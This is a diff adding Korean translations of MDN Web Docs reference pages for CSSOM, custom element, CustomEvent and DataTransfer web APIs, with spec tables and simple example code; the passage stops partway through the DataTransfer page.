+<p><span class="seoSummary"><strong><code>CSSMediaRule</code></strong> 인터페이스는 하나의 CSS {{cssxref("@media")}} 규칙을 나타냅니다.</span> {{domxref("CSSConditionRule")}} 인터페이스를 구현하므로, {{domxref("CSSGroupingRule")}}과 {{domxref("CSSRule")}} 인터페이스도 유형값 <code>4</code> (<code>CSSRule.MEDIA_RULE</code>)로 구현합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><a href="https://heycam.github.io/webidl/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a> 형식을 사용해 서술합니다.</p>
+
+<pre class="syntaxbox">interface CSSMediaRule : CSSConditionRule {
+ readonly attribute MediaList media;
+}
+</pre>
+
+<h2 id="속성">속성</h2>
+
+<p><code>CSSMediaRule</code>은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 속성을 구현합니다. 다음과 같은 자체 속성을 가집니다.</p>
+
+<dl>
+ <dt>{{domxref("CSSMediaRule.media")}} {{readonlyinline}}</dt>
+ <dd>스타일 정보를 적용할 매체 정보를 나타내는 {{domxref("MediaList")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>CSSMediaRule</code>은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 메서드를 구현합니다. 자체 메서드는 가지지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+ <td>{{ Spec2('CSS3 Conditional')}}</td>
+ <td>Make it derived from the {{domxref("CSSConditionRule")}}.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+ <td>{{ Spec2('CSSOM') }}</td>
+ <td>No changes from {{SpecName('DOM2 Style')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}</td>
+ <td>{{ Spec2('DOM2 Style') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CSSMediaRule")}}</p>
diff --git a/files/ko/web/api/cssomstring/index.html b/files/ko/web/api/cssomstring/index.html
new file mode 100644
index 0000000000..d7366af22e
--- /dev/null
+++ b/files/ko/web/api/cssomstring/index.html
@@ -0,0 +1,73 @@
+---
+title: CSSOMString
+slug: Web/API/CSSOMString
+tags:
+ - API
+ - CSSOM
+ - 레퍼런스
+translation_of: Web/API/CSSOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>CSSOMString</code></strong> 은 <a href="/ko/docs/Web/API/CSS_Object_Model">CSSOM</a> 명세로 문자형 데이터를 나타내기위해 사용되며 {{domxref("DOMString")}} 또는 {{domxref("USVString")}} 을 참조할 수 있습니다. 명세의 <code>CSSOMString</code> 은 브라우저 공급 업체가 <code>DOMString</code> 과 <code>USVString</code> 중 사용하도록 선택한 것에 따라 결정됩니다. 메모리에 문자열을 표현하기 위해 내부적으로 UTF-8을 사용하도록 구현된 브라우저는 명세에서 <code>CSSOMString</code> 이 나타날 때 <code>USVString</code> 을 사용할 수 있지만, 이미 16 비트 시퀀스로 표현된 문자열은 <code>DOMString</code> 을 사용하도록 대신 선택될 것입니다.</p>
+
+<h4 id="구현_차이점">구현 차이점</h4>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">브라우저</td>
+ <td class="header">CSSOMString 를 위한 DOMString 또는 USVString</td>
+ </tr>
+ <tr>
+ <td>Firefox (Gecko)</td>
+ <td>USVString</td>
+ </tr>
+ <tr>
+ <td>Chrome (Blink)</td>
+ <td>USVString</td>
+ </tr>
+ <tr>
+ <td>Safari (WebKit)</td>
+ <td>USVString</td>
+ </tr>
+ <tr>
+ <td>Edge (EdgeHTML)</td>
+ <td>-</td>
+ </tr>
+ <tr>
+ <td>Opera (Blink)</td>
+ <td>USVString</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM', '#cssomstring-type', 'CSSOMString')}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{domxref("CSS_Object_Model", "CSSOM")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("USVString")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view">StringView"</a> – a C-like representation of strings based on typed arrays</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">바이너리 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/cssstylesheet/index.html b/files/ko/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..08723ac9ba
--- /dev/null
+++ b/files/ko/web/api/cssstylesheet/index.html
@@ -0,0 +1,139 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+tags:
+ - API
+ - CSSOM
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/CSSStyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>The <strong><code>CSSStyleSheet</code></strong> interface represents a single <a href="/en-US/docs/Web/CSS">CSS</a> style sheet. It inherits properties and methods from its parent, {{domxref("StyleSheet")}}.</p>
+
+<p>A style sheet consists of <em>{{domxref("CSSRule", "rules", "", 1)}}</em>, such as <em>{{domxref("CSSStyleRule", "style rules", "", 1)}}</em><em> </em>("<code>h1,h2 { font-size: 16pt }"</code>), various <em>at-rules</em> (<code>@import</code>, <code>@media</code>, ...), etc. This interface lets you inspect and modify the list of rules in the stylesheet.</p>
+
+<p>See the {{anch("Notes")}} section for the various ways a CSSStyleSheet object can be obtained.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("StyleSheet")}}.</em></p>
+
+<dl>
+ <dt id="cssRules">{{domxref("CSSStyleSheet.cssRules")}}</dt>
+ <dd>Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.<br>
+ This is normally used to access individual rules like this:
+ <pre><code>   styleSheet.cssRules[i] // where i = 0..cssRules.length-1</code></pre>
+ To add or remove items in <code>cssRules</code>, use the <code>CSSStyleSheet</code>'s <code>deleteRule()</code> and <code>insertRule()</code> methods, described below.</dd>
+ <dt id="ownerRule">{{domxref("CSSStyleSheet.ownerRule")}}</dt>
+ <dd>If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the <code>ownerRule</code> property will return that {{domxref("CSSImportRule")}}, otherwise it returns <code>null</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Stylesheet")}}.</em></p>
+
+<dl>
+ <dt id="deleteRule">{{domxref("CSSStyleSheet.deleteRule()")}}</dt>
+ <dd>Deletes a rule at the specified position from the style sheet.</dd>
+ <dt id="insertRule">{{domxref("CSSStyleSheet.insertRule()")}}</dt>
+ <dd>Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In some browsers, if a stylesheet is loaded from a different domain, calling <code>cssRules</code> results in <code>SecurityError</code>.</p>
+
+<p>A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of <code>CSSStyleSheet</code> objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its <em>owner</em> object (<code>Node</code> or <code>CSSImportRule</code>), if any.</p>
+
+<p>A <code>CSSStyleSheet</code> object is created and inserted into the document's <code>styleSheets</code> list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new <code>CSSStyleSheet</code> object manually (although <a href="https://wicg.github.io/construct-stylesheets/">Constructable Stylesheet Objects</a> is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.</p>
+
+<p>A (possibly incomplete) list of ways a style sheet can be associated with a document follows:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Reason for the style sheet to be associated with the document</th>
+ <th scope="col">Appears in <code>document.<br>
+ styleSheets</code> list</th>
+ <th scope="col">Getting the owner element/rule given the style sheet object</th>
+ <th scope="col">The interface for the owner object</th>
+ <th scope="col">Getting the CSSStyleSheet object from the owner</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the document</td>
+ <td>Yes</td>
+ <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+ <td>{{domxref("HTMLLinkElement")}},<br>
+ {{domxref("HTMLStyleElement")}},<br>
+ or {{domxref("SVGStyleElement")}}</td>
+ <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+ </tr>
+ <tr>
+ <td>CSS {{cssxref("@import")}} rule in other style sheets applied to the document</td>
+ <td>Yes</td>
+ <td>{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}</td>
+ <td>{{domxref("CSSImportRule")}}</td>
+ <td>{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}</td>
+ </tr>
+ <tr>
+ <td><code>&lt;?xml-stylesheet ?&gt;</code> processing instruction in the (non-HTML) document</td>
+ <td>Yes</td>
+ <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+ <td>{{domxref("ProcessingInstruction")}}</td>
+ <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+ </tr>
+ <tr>
+ <td>HTTP Link Header</td>
+ <td>Yes</td>
+ <td><em>N/A</em></td>
+ <td>N/A</td>
+ <td>N/A</td>
+ </tr>
+ <tr>
+ <td>User agent (default) style sheets</td>
+ <td>No</td>
+ <td>N/A</td>
+ <td>N/A</td>
+ <td>N/A</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}</td>
+ <td>{{Spec2("CSSOM")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}</td>
+ <td>{{Spec2("DOM2 Style")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSStyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ko/web/api/customelementregistry/index.html b/files/ko/web/api/customelementregistry/index.html
new file mode 100644
index 0000000000..4cc311f276
--- /dev/null
+++ b/files/ko/web/api/customelementregistry/index.html
@@ -0,0 +1,94 @@
+---
+title: CustomElementRegistry
+slug: Web/API/CustomElementRegistry
+tags:
+ - API
+ - CustomElementRegistry
+ - Experimental
+ - Interface
+ - Reference
+ - Web Components
+translation_of: Web/API/CustomElementRegistry
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p><span class="seoSummary"><strong><code>CustomElementRegistry</code></strong> 인터페이스는 사용자 지정 요소를 등록하고, 등록한 요소를 가져올 수 있는 메서드를 제공합니다.</span> 인스턴스에 접근하려면 {{domxref("window.customElements")}} 속성을 사용하세요.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry.define()")}}</dt>
+ <dd>새로운 <a href="/ko/docs/Web/Web_Components/Custom_Elements">사용자 지정 요소</a>를 정의합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.get()")}}</dt>
+ <dd>유명 사용자 지정 요소의 생성자를 반환합니다. 그런 요소가 없는 경우 {{jsxref("undefined")}}를 대신 반환합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.upgrade()")}}</dt>
+ <dd>사용자 지정 요소가 자신의 섀도 루트(shadow root)에 연결되기 전에 직접 업그레이드합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.whenDefined()")}}</dt>
+ <dd>주어진 이름의 사용자 지정 요소가 등록되는 순간 이행하는, 빈 {{jsxref("Promise")}}를 반환합니다. 만약 그런 요소가 이미 등록된 경우 즉시 이행합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> 예제에서 가져온 것입니다(<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">라이브로 확인하세요</a>). 사용자 지정 요소 클래스를 생성한 후, {{domxref("CustomElementRegistry.define()")}} 메서드로 등록하는 과정을 살펴보세요.</p>
+
+<pre class="brush: js">// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+ constructor() {
+ // Always call super first in constructor
+ super();
+
+ // count words in element's parent element
+ var wcParent = this.parentNode;
+
+ function countWords(node){
+ var text = node.innerText || node.textContent
+ return text.split(/\s+/g).length;
+ }
+
+ var count = 'Words: ' + countWords(wcParent);
+
+ // Create a shadow root
+ var shadow = this.attachShadow({mode: 'open'});
+
+ // Create text node and add word count to it
+ var text = document.createElement('span');
+ text.textContent = count;
+
+ // Append it to the shadow root
+ shadow.appendChild(text);
+
+
+ // Update count when element content changes
+ setInterval(function() {
+ var count = 'Words: ' + countWords(wcParent);
+ text.textContent = count;
+ }, 200)
+
+ }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CustomElementRegistry")}}</p>
diff --git a/files/ko/web/api/customevent/customevent/index.html b/files/ko/web/api/customevent/customevent/index.html
new file mode 100644
index 0000000000..428ca288ac
--- /dev/null
+++ b/files/ko/web/api/customevent/customevent/index.html
@@ -0,0 +1,110 @@
+---
+title: CustomEvent()
+slug: Web/API/CustomEvent/CustomEvent
+tags:
+ - API
+ - CustomEvent
+ - 레퍼런스
+ - 생성자
+ - 이벤트
+translation_of: Web/API/CustomEvent/CustomEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CustomEvent()</strong></code> 생성자는 새로운 {{domxref("CustomEvent")}} 를 생성합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"> <var>event</var> = new CustomEvent(<var>typeArg</var>, <var>customEventInit</var>);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>typeArg</code></dt>
+ <dd>{{domxref("DOMString")}} 은 이벤트의 이름을 나타냅니다.</dd>
+ <dt><code>customEventInit</code> {{optional_inline}}</dt>
+ <dd><code>CustomEventInit</code> 딕셔너리는 다음 필드를 갖습니다.
+ <ul>
+ <li><code>"detail"</code>: 옵션이며 기본 값은 <code>null</code> 입니다. 모든 타입을 사용할 수 있으며 이벤트에 관련된 이벤트-의존 값입니다.</li>
+ </ul>
+
+ <div class="note">
+ <p><var><code>CustomEventInit</code> 딕셔너리는 {{domxref("Event.Event", "EventInit")}} 으로부터의 필드도 허용합니다.</var></p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 타입의 새로운 <code>CustomEvent</code> 객체. <code>CustomEventInit</code> 이 제공되었다면 그에 따른 모든 프로퍼티가 구성됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 적당한 이벤트 리스터 추가
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// 이벤트 생성 및 실행
+var event = new CustomEvent("cat", {
+ detail: {
+ hazcheeseburger: true
+ }
+});
+obj.dispatchEvent(event);</pre>
+
+<p>더 많은 예제는 <a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a> 문서에서 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-customevent-customevent','CustomEvent()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CustomEvent.CustomEvent")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다음 코드를 사용해 <code>CustomEvent()</code> 생성자의 기능을 인터넷 익스플로러 9 이상에서 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">(function () {
+
+  if ( typeof window.CustomEvent === "function" ) return false;
+
+ function CustomEvent ( event, params ) {
+ params = params || { bubbles: false, cancelable: false, detail: undefined };
+ var evt = document.createEvent( 'CustomEvent' );
+ evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
+ return evt;
+ }
+
+ CustomEvent.prototype = window.Event.prototype;
+
+ window.CustomEvent = CustomEvent;
+})();</pre>
+
+<p>Internet Explorer 9 이상은 window 에 CustomEvent 를 추가하지만, 올바른 구현이 아니며, 이는 함수입니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/customevent/index.html b/files/ko/web/api/customevent/index.html
new file mode 100644
index 0000000000..782f81ba74
--- /dev/null
+++ b/files/ko/web/api/customevent/index.html
@@ -0,0 +1,96 @@
+---
+title: CustomEvent
+slug: Web/API/CustomEvent
+tags:
+ - API
+ - DOM
+ - Interface
+ - NeedsCompatTable
+ - NeedsExample
+ - Reference
+translation_of: Web/API/CustomEvent
+---
+<p>{{APIRef("DOM")}}<strong><code>CustomEvent</code></strong> 인터페이스는 어플리케이션의 어떤 목적에 의해 초기화된 이벤트를 나타냅니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</dt>
+ <dd><code>CustomEvent</code> 를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.detail")}} {{readonlyinline}}</dt>
+ <dd>이벤트 초기화에 전달되는 모든 데이터.</dd>
+</dl>
+
+<p><em>이 인터페이스는 그 부모인 </em>{{domxref("Event")}} 로부터 프로퍼티를 상속받습니다:</p>
+
+<p>{{Page("/en-US/docs/Web/API/Event", "Properties")}}</p>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p><code>CustomEvent</code> 객체를 초기화합니다. 이벤트가 이미 디스패치되었다면, 이 메소드는 아무것도 하지 않습니다.</p>
+ </dd>
+</dl>
+
+<p><em>이 인터페이스는 그 부모인 </em>{{domxref("Event")}} 로부터 메소드를 상속받습니다:</p>
+
+<p>{{Page("/ko/docs/Web/API/Event", "Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("api.CustomEvent")}}</p>
+
+<h2 id="권한_코드에서_비권한_코드로_실행">권한 코드에서 비권한 코드로 실행</h2>
+
+<p>CustomEvent 를 권한 코드(예, 확장 기능)에서 비권한 코드(예, 웹페이지)로 실행할 때, 보안 문제를 고려해야 합니다. Firefox 와 다른 Gecko 어플리케이션은 한 컨텍스트에서 생성된 객체가 다른 곳에서 바로 사용되는 것을 제한하여 보안상의 문제를 자동으로 방지하지만, 이는 여러분의 코드가 예상한대로 실행되는 것을 제한하기도 합니다.</p>
+
+<p>CustomEvent 객체는 반드시 동일한 <a href="/ko/docs/XUL/window">창</a>에서 생성해야 합니다. CustomEvent 의 <code>detail</code> 속성도 동일하게 제한됩니다. String 과 Array 값은 제한 없이 그 컨텐츠를 읽을 수 있지만, 커스텀 객체는 그렇지 않습니다. 커스텀 객체를 사용할 때, <a href="/ko/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.cloneInto">Components.utils.cloneInto()</a> 를 사용해 컨텐츠 스크립트에서 읽을 수 있는 객체의 속성을 정의해야 합니다.</p>
+
+<pre class="brush: js">// doc 은 컨텐츠 다큐먼트의 참조입니다
+function dispatchCustomEvent(doc) {
+ var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+ var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+ doc.dispatchEvent(myEvent);
+}</pre>
+
+<p>함수 노출은 크롬 권한으로 실행하기 위한 컨텐츠 스크립트를 허용하여 보안 취약점에 열려있다는 점을 주의하시기 바랍니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+ <li><a href="/ko/docs/Web/API/Window/postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
+ <li><a href="/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/datatransfer/getdata/index.html b/files/ko/web/api/datatransfer/getdata/index.html
new file mode 100644
index 0000000000..8a9edcf029
--- /dev/null
+++ b/files/ko/web/api/datatransfer/getdata/index.html
@@ -0,0 +1,112 @@
+---
+title: DataTransfer.getData()
+slug: Web/API/DataTransfer/getData
+tags:
+ - API
+ - HTML DOM
+ - Method
+ - Reference
+translation_of: Web/API/DataTransfer/getData
+---
+<div>
+<p>{{APIRef("HTML DOM")}}</p>
+</div>
+
+<p><strong><code>DataTransfer.getData()</code></strong> 메소드는 특정 형태를 위해 ({{domxref("DOMString")}}로) 끌어낸 데이터를 회수한다. 가령, 끌어내는 동작이 데이터를 포함하지 않는다면, 이 메소드는 빈 문자열을 반환한다.</p>
+
+<p>예시 데이터 형식으로는 <code>text/plain</code> 와 <code>text/uri-list </code>이 있다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dataTransfer</var>.getData(<em>format</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>format</em></code></dt>
+ <dd>회수할 데이터 형식을 나타내는 {{domxref("DOMString")}}</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<dl>
+ <dt>{{domxref("DOMString")}}</dt>
+ <dd>특정 <code>format</code>을 위해 끌어낸 데이터를 나타내는 {{domxref("DOMString")}}. 만약 끌어내는 동작이 데이터를 가지고 있지 않거나 동작이 특정 <code>format</code> 에 대한 데이터를 가지고 있지 않다면, 이 메소드는 빈 문자열을 반환한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예시는 {{domxref("DataTransfer")}} 객체의 {{domxref("DataTransfer.getData()","getData()")}} 와 {{domxref("DataTransfer.setData()","setData()")}} 메소드의 사용을 보여준다.</p>
+
+<h3 id="HTML_내용">HTML 내용</h3>
+
+<pre class="brush: html">&lt;div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;
+ &lt;span id="drag" draggable="true" ondragstart="drag(event)"&gt;drag me to the other box&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_내용">CSS 내용</h3>
+
+<pre class="brush: css">#div1, #div2 {
+ width:100px;
+ height:50px;
+ padding:10px;
+ border:1px solid #aaaaaa;
+}
+</pre>
+
+<h3 id="JavaScript_내용">JavaScript 내용</h3>
+
+<pre class="brush: js">function allowDrop(allowdropevent) {
+ allowdropevent.target.style.color = 'blue';
+ allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+ dragevent.dataTransfer.setData("text", dragevent.target.id);
+ dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+ dropevent.preventDefault();
+ var data = dropevent.dataTransfer.getData("text");
+ dropevent.target.appendChild(document.getElementById(data));
+ document.getElementById("drag").style.color = 'black';
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p id="EmbedLiveSample('Example'_''_''_''_'WebAPIDataTransfergetData')">{{ EmbedLiveSample('예제', 600) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>첫 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.DataTransfer.getData")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/ko/web/api/datatransfer/index.html b/files/ko/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..bf4e78de4b
--- /dev/null
+++ b/files/ko/web/api/datatransfer/index.html
@@ -0,0 +1,137 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+ - API
+ - DataTransfer
+ - HTML Drag and Drop API
+ - Interface
+ - Reference
+ - Web Development
+ - drag and drop
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>The <code><strong>DataTransfer</strong></code> object is used to hold the data that is being dragged during a drag and drop operation. It may hold one or more data items, each of one or more data types. For more information about drag and drop, see <a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a>.</p>
+
+<p>This object is available from the {{domxref("DragEvent.dataTransfer","dataTransfer")}} property of all {{domxref("DragEvent","drag events")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("DataTransfer.DataTransfer","DataTransfer()")}}</dt>
+ <dd>Creates and returns a new <code>DataTransfer</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.dropEffect")}}</dt>
+ <dd>Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be <code>none</code>, <code>copy</code>, <code>link</code> or <code>move</code>.</dd>
+ <dt>{{domxref("DataTransfer.effectAllowed")}}</dt>
+ <dd>Provides all of the types of operations that are possible. Must be one of <code>none</code>, <code>copy</code>, <code>copyLink</code>, <code>copyMove</code>, <code>link</code>, <code>linkMove</code>, <code>move</code>, <code>all</code> or <code>uninitialized</code>.</dd>
+ <dt>{{domxref("DataTransfer.files")}}</dt>
+ <dd>Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.</dd>
+ <dt>{{domxref("DataTransfer.items")}} {{readonlyInline}}</dt>
+ <dd>Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.</dd>
+ <dt>{{domxref("DataTransfer.types")}} {{readonlyInline}}</dt>
+ <dd>An array of {{domxref("DOMString","strings")}} giving the formats that were set in the {{event("dragstart")}} event.</dd>
